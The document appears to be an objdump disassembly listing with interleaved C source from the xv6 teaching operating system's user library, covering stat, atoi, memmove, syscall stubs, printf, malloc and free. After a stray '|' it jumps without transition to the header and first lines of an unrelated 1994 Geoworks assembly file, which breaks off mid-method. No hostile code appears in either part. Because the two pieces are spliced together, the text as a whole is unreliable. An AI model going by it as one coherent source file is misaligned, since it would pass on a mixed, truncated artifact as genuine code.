4a6: 01 de add %ebx,%esi
4a8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
4aa: c6 03 00 movb $0x0,(%ebx)
}
4ad: 8d 65 f4 lea -0xc(%ebp),%esp
4b0: 5b pop %ebx
4b1: 5e pop %esi
4b2: 5f pop %edi
4b3: 5d pop %ebp
4b4: c3 ret
4b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000004c0 <stat>:
int
stat(const char *n, struct stat *st)
{
4c0: 55 push %ebp
4c1: 89 e5 mov %esp,%ebp
4c3: 56 push %esi
4c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
4c5: 83 ec 08 sub $0x8,%esp
4c8: 6a 00 push $0x0
4ca: ff 75 08 pushl 0x8(%ebp)
4cd: e8 08 01 00 00 call 5da <open>
if(fd < 0)
4d2: 83 c4 10 add $0x10,%esp
4d5: 85 c0 test %eax,%eax
4d7: 78 27 js 500 <stat+0x40>
return -1;
r = fstat(fd, st);
4d9: 83 ec 08 sub $0x8,%esp
4dc: ff 75 0c pushl 0xc(%ebp)
4df: 89 c3 mov %eax,%ebx
4e1: 50 push %eax
4e2: e8 0b 01 00 00 call 5f2 <fstat>
close(fd);
4e7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
4ea: 89 c6 mov %eax,%esi
close(fd);
4ec: e8 d1 00 00 00 call 5c2 <close>
return r;
4f1: 83 c4 10 add $0x10,%esp
}
4f4: 8d 65 f8 lea -0x8(%ebp),%esp
4f7: 89 f0 mov %esi,%eax
4f9: 5b pop %ebx
4fa: 5e pop %esi
4fb: 5d pop %ebp
4fc: c3 ret
4fd: 8d 76 00 lea 0x0(%esi),%esi
return -1;
500: be ff ff ff ff mov $0xffffffff,%esi
505: eb ed jmp 4f4 <stat+0x34>
507: 89 f6 mov %esi,%esi
509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000510 <atoi>:
int
atoi(const char *s)
{
510: 55 push %ebp
511: 89 e5 mov %esp,%ebp
513: 53 push %ebx
514: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
517: 0f be 11 movsbl (%ecx),%edx
51a: 8d 42 d0 lea -0x30(%edx),%eax
51d: 3c 09 cmp $0x9,%al
n = 0;
51f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
524: 77 1f ja 545 <atoi+0x35>
526: 8d 76 00 lea 0x0(%esi),%esi
529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
530: 8d 04 80 lea (%eax,%eax,4),%eax
533: 83 c1 01 add $0x1,%ecx
536: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
53a: 0f be 11 movsbl (%ecx),%edx
53d: 8d 5a d0 lea -0x30(%edx),%ebx
540: 80 fb 09 cmp $0x9,%bl
543: 76 eb jbe 530 <atoi+0x20>
return n;
}
545: 5b pop %ebx
546: 5d pop %ebp
547: c3 ret
548: 90 nop
549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000550 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
550: 55 push %ebp
551: 89 e5 mov %esp,%ebp
553: 56 push %esi
554: 53 push %ebx
555: 8b 5d 10 mov 0x10(%ebp),%ebx
558: 8b 45 08 mov 0x8(%ebp),%eax
55b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
55e: 85 db test %ebx,%ebx
560: 7e 14 jle 576 <memmove+0x26>
562: 31 d2 xor %edx,%edx
564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
568: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
56c: 88 0c 10 mov %cl,(%eax,%edx,1)
56f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
572: 39 d3 cmp %edx,%ebx
574: 75 f2 jne 568 <memmove+0x18>
return vdst;
}
576: 5b pop %ebx
577: 5e pop %esi
578: 5d pop %ebp
579: c3 ret
0000057a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
57a: b8 01 00 00 00 mov $0x1,%eax
57f: cd 40 int $0x40
581: c3 ret
00000582 <exit>:
SYSCALL(exit)
582: b8 02 00 00 00 mov $0x2,%eax
587: cd 40 int $0x40
589: c3 ret
0000058a <wait>:
SYSCALL(wait)
58a: b8 03 00 00 00 mov $0x3,%eax
58f: cd 40 int $0x40
591: c3 ret
00000592 <waitx>:
SYSCALL(waitx)
592: b8 16 00 00 00 mov $0x16,%eax
597: cd 40 int $0x40
599: c3 ret
0000059a <set_priority>:
SYSCALL(set_priority)
59a: b8 18 00 00 00 mov $0x18,%eax
59f: cd 40 int $0x40
5a1: c3 ret
000005a2 <psCall>:
SYSCALL(psCall)
5a2: b8 17 00 00 00 mov $0x17,%eax
5a7: cd 40 int $0x40
5a9: c3 ret
000005aa <pipe>:
SYSCALL(pipe)
5aa: b8 04 00 00 00 mov $0x4,%eax
5af: cd 40 int $0x40
5b1: c3 ret
000005b2 <read>:
SYSCALL(read)
5b2: b8 05 00 00 00 mov $0x5,%eax
5b7: cd 40 int $0x40
5b9: c3 ret
000005ba <write>:
SYSCALL(write)
5ba: b8 10 00 00 00 mov $0x10,%eax
5bf: cd 40 int $0x40
5c1: c3 ret
000005c2 <close>:
SYSCALL(close)
5c2: b8 15 00 00 00 mov $0x15,%eax
5c7: cd 40 int $0x40
5c9: c3 ret
000005ca <kill>:
SYSCALL(kill)
5ca: b8 06 00 00 00 mov $0x6,%eax
5cf: cd 40 int $0x40
5d1: c3 ret
000005d2 <exec>:
SYSCALL(exec)
5d2: b8 07 00 00 00 mov $0x7,%eax
5d7: cd 40 int $0x40
5d9: c3 ret
000005da <open>:
SYSCALL(open)
5da: b8 0f 00 00 00 mov $0xf,%eax
5df: cd 40 int $0x40
5e1: c3 ret
000005e2 <mknod>:
SYSCALL(mknod)
5e2: b8 11 00 00 00 mov $0x11,%eax
5e7: cd 40 int $0x40
5e9: c3 ret
000005ea <unlink>:
SYSCALL(unlink)
5ea: b8 12 00 00 00 mov $0x12,%eax
5ef: cd 40 int $0x40
5f1: c3 ret
000005f2 <fstat>:
SYSCALL(fstat)
5f2: b8 08 00 00 00 mov $0x8,%eax
5f7: cd 40 int $0x40
5f9: c3 ret
000005fa <link>:
SYSCALL(link)
5fa: b8 13 00 00 00 mov $0x13,%eax
5ff: cd 40 int $0x40
601: c3 ret
00000602 <mkdir>:
SYSCALL(mkdir)
602: b8 14 00 00 00 mov $0x14,%eax
607: cd 40 int $0x40
609: c3 ret
0000060a <chdir>:
SYSCALL(chdir)
60a: b8 09 00 00 00 mov $0x9,%eax
60f: cd 40 int $0x40
611: c3 ret
00000612 <dup>:
SYSCALL(dup)
612: b8 0a 00 00 00 mov $0xa,%eax
617: cd 40 int $0x40
619: c3 ret
0000061a <getpid>:
SYSCALL(getpid)
61a: b8 0b 00 00 00 mov $0xb,%eax
61f: cd 40 int $0x40
621: c3 ret
00000622 <sbrk>:
SYSCALL(sbrk)
622: b8 0c 00 00 00 mov $0xc,%eax
627: cd 40 int $0x40
629: c3 ret
0000062a <sleep>:
SYSCALL(sleep)
62a: b8 0d 00 00 00 mov $0xd,%eax
62f: cd 40 int $0x40
631: c3 ret
00000632 <uptime>:
SYSCALL(uptime)
632: b8 0e 00 00 00 mov $0xe,%eax
637: cd 40 int $0x40
639: c3 ret
63a: 66 90 xchg %ax,%ax
63c: 66 90 xchg %ax,%ax
63e: 66 90 xchg %ax,%ax
00000640 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
640: 55 push %ebp
641: 89 e5 mov %esp,%ebp
643: 57 push %edi
644: 56 push %esi
645: 53 push %ebx
646: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
649: 85 d2 test %edx,%edx
{
64b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
64e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
650: 79 76 jns 6c8 <printint+0x88>
652: f6 45 08 01 testb $0x1,0x8(%ebp)
656: 74 70 je 6c8 <printint+0x88>
x = -xx;
658: f7 d8 neg %eax
neg = 1;
65a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
661: 31 f6 xor %esi,%esi
663: 8d 5d d7 lea -0x29(%ebp),%ebx
666: eb 0a jmp 672 <printint+0x32>
668: 90 nop
669: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
670: 89 fe mov %edi,%esi
672: 31 d2 xor %edx,%edx
674: 8d 7e 01 lea 0x1(%esi),%edi
677: f7 f1 div %ecx
679: 0f b6 92 8c 0a 00 00 movzbl 0xa8c(%edx),%edx
}while((x /= base) != 0);
680: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
682: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
685: 75 e9 jne 670 <printint+0x30>
if(neg)
687: 8b 45 c4 mov -0x3c(%ebp),%eax
68a: 85 c0 test %eax,%eax
68c: 74 08 je 696 <printint+0x56>
buf[i++] = '-';
68e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
693: 8d 7e 02 lea 0x2(%esi),%edi
696: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
69a: 8b 7d c0 mov -0x40(%ebp),%edi
69d: 8d 76 00 lea 0x0(%esi),%esi
6a0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
6a3: 83 ec 04 sub $0x4,%esp
6a6: 83 ee 01 sub $0x1,%esi
6a9: 6a 01 push $0x1
6ab: 53 push %ebx
6ac: 57 push %edi
6ad: 88 45 d7 mov %al,-0x29(%ebp)
6b0: e8 05 ff ff ff call 5ba <write>
while(--i >= 0)
6b5: 83 c4 10 add $0x10,%esp
6b8: 39 de cmp %ebx,%esi
6ba: 75 e4 jne 6a0 <printint+0x60>
putc(fd, buf[i]);
}
6bc: 8d 65 f4 lea -0xc(%ebp),%esp
6bf: 5b pop %ebx
6c0: 5e pop %esi
6c1: 5f pop %edi
6c2: 5d pop %ebp
6c3: c3 ret
6c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
6c8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
6cf: eb 90 jmp 661 <printint+0x21>
6d1: eb 0d jmp 6e0 <printf>
6d3: 90 nop
6d4: 90 nop
6d5: 90 nop
6d6: 90 nop
6d7: 90 nop
6d8: 90 nop
6d9: 90 nop
6da: 90 nop
6db: 90 nop
6dc: 90 nop
6dd: 90 nop
6de: 90 nop
6df: 90 nop
000006e0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
6e0: 55 push %ebp
6e1: 89 e5 mov %esp,%ebp
6e3: 57 push %edi
6e4: 56 push %esi
6e5: 53 push %ebx
6e6: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6e9: 8b 75 0c mov 0xc(%ebp),%esi
6ec: 0f b6 1e movzbl (%esi),%ebx
6ef: 84 db test %bl,%bl
6f1: 0f 84 b3 00 00 00 je 7aa <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
6f7: 8d 45 10 lea 0x10(%ebp),%eax
6fa: 83 c6 01 add $0x1,%esi
state = 0;
6fd: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
6ff: 89 45 d4 mov %eax,-0x2c(%ebp)
702: eb 2f jmp 733 <printf+0x53>
704: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
708: 83 f8 25 cmp $0x25,%eax
70b: 0f 84 a7 00 00 00 je 7b8 <printf+0xd8>
write(fd, &c, 1);
711: 8d 45 e2 lea -0x1e(%ebp),%eax
714: 83 ec 04 sub $0x4,%esp
717: 88 5d e2 mov %bl,-0x1e(%ebp)
71a: 6a 01 push $0x1
71c: 50 push %eax
71d: ff 75 08 pushl 0x8(%ebp)
720: e8 95 fe ff ff call 5ba <write>
725: 83 c4 10 add $0x10,%esp
728: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
72b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
72f: 84 db test %bl,%bl
731: 74 77 je 7aa <printf+0xca>
if(state == 0){
733: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
735: 0f be cb movsbl %bl,%ecx
738: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
73b: 74 cb je 708 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
73d: 83 ff 25 cmp $0x25,%edi
740: 75 e6 jne 728 <printf+0x48>
if(c == 'd'){
742: 83 f8 64 cmp $0x64,%eax
745: 0f 84 05 01 00 00 je 850 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
74b: 81 e1 f7 00 00 00 and $0xf7,%ecx
751: 83 f9 70 cmp $0x70,%ecx
754: 74 72 je 7c8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
756: 83 f8 73 cmp $0x73,%eax
759: 0f 84 99 00 00 00 je 7f8 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
75f: 83 f8 63 cmp $0x63,%eax
762: 0f 84 08 01 00 00 je 870 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
768: 83 f8 25 cmp $0x25,%eax
76b: 0f 84 ef 00 00 00 je 860 <printf+0x180>
write(fd, &c, 1);
771: 8d 45 e7 lea -0x19(%ebp),%eax
774: 83 ec 04 sub $0x4,%esp
777: c6 45 e7 25 movb $0x25,-0x19(%ebp)
77b: 6a 01 push $0x1
77d: 50 push %eax
77e: ff 75 08 pushl 0x8(%ebp)
781: e8 34 fe ff ff call 5ba <write>
786: 83 c4 0c add $0xc,%esp
789: 8d 45 e6 lea -0x1a(%ebp),%eax
78c: 88 5d e6 mov %bl,-0x1a(%ebp)
78f: 6a 01 push $0x1
791: 50 push %eax
792: ff 75 08 pushl 0x8(%ebp)
795: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
798: 31 ff xor %edi,%edi
write(fd, &c, 1);
79a: e8 1b fe ff ff call 5ba <write>
for(i = 0; fmt[i]; i++){
79f: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
7a3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
7a6: 84 db test %bl,%bl
7a8: 75 89 jne 733 <printf+0x53>
}
}
}
7aa: 8d 65 f4 lea -0xc(%ebp),%esp
7ad: 5b pop %ebx
7ae: 5e pop %esi
7af: 5f pop %edi
7b0: 5d pop %ebp
7b1: c3 ret
7b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
7b8: bf 25 00 00 00 mov $0x25,%edi
7bd: e9 66 ff ff ff jmp 728 <printf+0x48>
7c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
7c8: 83 ec 0c sub $0xc,%esp
7cb: b9 10 00 00 00 mov $0x10,%ecx
7d0: 6a 00 push $0x0
7d2: 8b 7d d4 mov -0x2c(%ebp),%edi
7d5: 8b 45 08 mov 0x8(%ebp),%eax
7d8: 8b 17 mov (%edi),%edx
7da: e8 61 fe ff ff call 640 <printint>
ap++;
7df: 89 f8 mov %edi,%eax
7e1: 83 c4 10 add $0x10,%esp
state = 0;
7e4: 31 ff xor %edi,%edi
ap++;
7e6: 83 c0 04 add $0x4,%eax
7e9: 89 45 d4 mov %eax,-0x2c(%ebp)
7ec: e9 37 ff ff ff jmp 728 <printf+0x48>
7f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
7f8: 8b 45 d4 mov -0x2c(%ebp),%eax
7fb: 8b 08 mov (%eax),%ecx
ap++;
7fd: 83 c0 04 add $0x4,%eax
800: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
803: 85 c9 test %ecx,%ecx
805: 0f 84 8e 00 00 00 je 899 <printf+0x1b9>
while(*s != 0){
80b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
80e: 31 ff xor %edi,%edi
s = (char*)*ap;
810: 89 cb mov %ecx,%ebx
while(*s != 0){
812: 84 c0 test %al,%al
814: 0f 84 0e ff ff ff je 728 <printf+0x48>
81a: 89 75 d0 mov %esi,-0x30(%ebp)
81d: 89 de mov %ebx,%esi
81f: 8b 5d 08 mov 0x8(%ebp),%ebx
822: 8d 7d e3 lea -0x1d(%ebp),%edi
825: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
828: 83 ec 04 sub $0x4,%esp
s++;
82b: 83 c6 01 add $0x1,%esi
82e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
831: 6a 01 push $0x1
833: 57 push %edi
834: 53 push %ebx
835: e8 80 fd ff ff call 5ba <write>
while(*s != 0){
83a: 0f b6 06 movzbl (%esi),%eax
83d: 83 c4 10 add $0x10,%esp
840: 84 c0 test %al,%al
842: 75 e4 jne 828 <printf+0x148>
844: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
847: 31 ff xor %edi,%edi
849: e9 da fe ff ff jmp 728 <printf+0x48>
84e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
850: 83 ec 0c sub $0xc,%esp
853: b9 0a 00 00 00 mov $0xa,%ecx
858: 6a 01 push $0x1
85a: e9 73 ff ff ff jmp 7d2 <printf+0xf2>
85f: 90 nop
write(fd, &c, 1);
860: 83 ec 04 sub $0x4,%esp
863: 88 5d e5 mov %bl,-0x1b(%ebp)
866: 8d 45 e5 lea -0x1b(%ebp),%eax
869: 6a 01 push $0x1
86b: e9 21 ff ff ff jmp 791 <printf+0xb1>
putc(fd, *ap);
870: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
873: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
876: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
878: 6a 01 push $0x1
ap++;
87a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
87d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
880: 8d 45 e4 lea -0x1c(%ebp),%eax
883: 50 push %eax
884: ff 75 08 pushl 0x8(%ebp)
887: e8 2e fd ff ff call 5ba <write>
ap++;
88c: 89 7d d4 mov %edi,-0x2c(%ebp)
88f: 83 c4 10 add $0x10,%esp
state = 0;
892: 31 ff xor %edi,%edi
894: e9 8f fe ff ff jmp 728 <printf+0x48>
s = "(null)";
899: bb 82 0a 00 00 mov $0xa82,%ebx
while(*s != 0){
89e: b8 28 00 00 00 mov $0x28,%eax
8a3: e9 72 ff ff ff jmp 81a <printf+0x13a>
8a8: 66 90 xchg %ax,%ax
8aa: 66 90 xchg %ax,%ax
8ac: 66 90 xchg %ax,%ax
8ae: 66 90 xchg %ax,%ax
000008b0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
8b0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8b1: a1 bc 0d 00 00 mov 0xdbc,%eax
{
8b6: 89 e5 mov %esp,%ebp
8b8: 57 push %edi
8b9: 56 push %esi
8ba: 53 push %ebx
8bb: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
8be: 8d 4b f8 lea -0x8(%ebx),%ecx
8c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8c8: 39 c8 cmp %ecx,%eax
8ca: 8b 10 mov (%eax),%edx
8cc: 73 32 jae 900 <free+0x50>
8ce: 39 d1 cmp %edx,%ecx
8d0: 72 04 jb 8d6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
8d2: 39 d0 cmp %edx,%eax
8d4: 72 32 jb 908 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
8d6: 8b 73 fc mov -0x4(%ebx),%esi
8d9: 8d 3c f1 lea (%ecx,%esi,8),%edi
8dc: 39 fa cmp %edi,%edx
8de: 74 30 je 910 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
8e0: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
8e3: 8b 50 04 mov 0x4(%eax),%edx
8e6: 8d 34 d0 lea (%eax,%edx,8),%esi
8e9: 39 f1 cmp %esi,%ecx
8eb: 74 3a je 927 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
8ed: 89 08 mov %ecx,(%eax)
freep = p;
8ef: a3 bc 0d 00 00 mov %eax,0xdbc
}
8f4: 5b pop %ebx
8f5: 5e pop %esi
8f6: 5f pop %edi
8f7: 5d pop %ebp
8f8: c3 ret
8f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
900: 39 d0 cmp %edx,%eax
902: 72 04 jb 908 <free+0x58>
904: 39 d1 cmp %edx,%ecx
906: 72 ce jb 8d6 <free+0x26>
{
908: 89 d0 mov %edx,%eax
90a: eb bc jmp 8c8 <free+0x18>
90c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
910: 03 72 04 add 0x4(%edx),%esi
913: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
916: 8b 10 mov (%eax),%edx
918: 8b 12 mov (%edx),%edx
91a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
91d: 8b 50 04 mov 0x4(%eax),%edx
920: 8d 34 d0 lea (%eax,%edx,8),%esi
923: 39 f1 cmp %esi,%ecx
925: 75 c6 jne 8ed <free+0x3d>
p->s.size += bp->s.size;
927: 03 53 fc add -0x4(%ebx),%edx
freep = p;
92a: a3 bc 0d 00 00 mov %eax,0xdbc
p->s.size += bp->s.size;
92f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
932: 8b 53 f8 mov -0x8(%ebx),%edx
935: 89 10 mov %edx,(%eax)
}
937: 5b pop %ebx
938: 5e pop %esi
939: 5f pop %edi
93a: 5d pop %ebp
93b: c3 ret
93c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000940 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
940: 55 push %ebp
941: 89 e5 mov %esp,%ebp
943: 57 push %edi
944: 56 push %esi
945: 53 push %ebx
946: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
949: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
94c: 8b 15 bc 0d 00 00 mov 0xdbc,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
952: 8d 78 07 lea 0x7(%eax),%edi
955: c1 ef 03 shr $0x3,%edi
958: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
95b: 85 d2 test %edx,%edx
95d: 0f 84 9d 00 00 00 je a00 <malloc+0xc0>
963: 8b 02 mov (%edx),%eax
965: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
968: 39 cf cmp %ecx,%edi
96a: 76 6c jbe 9d8 <malloc+0x98>
96c: 81 ff 00 10 00 00 cmp $0x1000,%edi
972: bb 00 10 00 00 mov $0x1000,%ebx
977: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
97a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
981: eb 0e jmp 991 <malloc+0x51>
983: 90 nop
984: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
988: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
98a: 8b 48 04 mov 0x4(%eax),%ecx
98d: 39 f9 cmp %edi,%ecx
98f: 73 47 jae 9d8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
991: 39 05 bc 0d 00 00 cmp %eax,0xdbc
997: 89 c2 mov %eax,%edx
999: 75 ed jne 988 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
99b: 83 ec 0c sub $0xc,%esp
99e: 56 push %esi
99f: e8 7e fc ff ff call 622 <sbrk>
if(p == (char*)-1)
9a4: 83 c4 10 add $0x10,%esp
9a7: 83 f8 ff cmp $0xffffffff,%eax
9aa: 74 1c je 9c8 <malloc+0x88>
hp->s.size = nu;
9ac: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
9af: 83 ec 0c sub $0xc,%esp
9b2: 83 c0 08 add $0x8,%eax
9b5: 50 push %eax
9b6: e8 f5 fe ff ff call 8b0 <free>
return freep;
9bb: 8b 15 bc 0d 00 00 mov 0xdbc,%edx
if((p = morecore(nunits)) == 0)
9c1: 83 c4 10 add $0x10,%esp
9c4: 85 d2 test %edx,%edx
9c6: 75 c0 jne 988 <malloc+0x48>
return 0;
}
}
9c8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
9cb: 31 c0 xor %eax,%eax
}
9cd: 5b pop %ebx
9ce: 5e pop %esi
9cf: 5f pop %edi
9d0: 5d pop %ebp
9d1: c3 ret
9d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
9d8: 39 cf cmp %ecx,%edi
9da: 74 54 je a30 <malloc+0xf0>
p->s.size -= nunits;
9dc: 29 f9 sub %edi,%ecx
9de: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
9e1: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
9e4: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
9e7: 89 15 bc 0d 00 00 mov %edx,0xdbc
}
9ed: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
9f0: 83 c0 08 add $0x8,%eax
}
9f3: 5b pop %ebx
9f4: 5e pop %esi
9f5: 5f pop %edi
9f6: 5d pop %ebp
9f7: c3 ret
9f8: 90 nop
9f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
a00: c7 05 bc 0d 00 00 c0 movl $0xdc0,0xdbc
a07: 0d 00 00
a0a: c7 05 c0 0d 00 00 c0 movl $0xdc0,0xdc0
a11: 0d 00 00
base.s.size = 0;
a14: b8 c0 0d 00 00 mov $0xdc0,%eax
a19: c7 05 c4 0d 00 00 00 movl $0x0,0xdc4
a20: 00 00 00
a23: e9 44 ff ff ff jmp 96c <malloc+0x2c>
a28: 90 nop
a29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
a30: 8b 08 mov (%eax),%ecx
a32: 89 0a mov %ecx,(%edx)
a34: eb b1 jmp 9e7 <malloc+0xa7>
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
PROJECT: Pref
MODULE: Prefspui
FILE: psDescriptiveDL.asm
AUTHOR: David Litwin, Sep 29, 1994
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 9/29/94 Initial revision
DESCRIPTION:
code for the PSDescriptiveDLClass object
$Id: psDescriptiveDL.asm,v 1.1 97/04/05 01:43:03 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PSDDLPrefInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create our chunk array for descriptive text.
CALLED BY: MSG_PREF_INIT
PASS: *ds:si = PSDescriptiveDLClass object
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dlitwin 9/30/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PSDDLPrefInit method dynamic PSDescriptiveDLClass,
MSG_PREF_INIT
uses ax, cx
.enter
EC< mov ax, ATTR_GEN_PATH_DATA >
EC< call ObjVarFindData >
EC< WARNING_NC WARNING_PSDL_BAD_SEARCH_PATH >
EC< cmp ds:[bx].GFP_disk, SP_TOP >
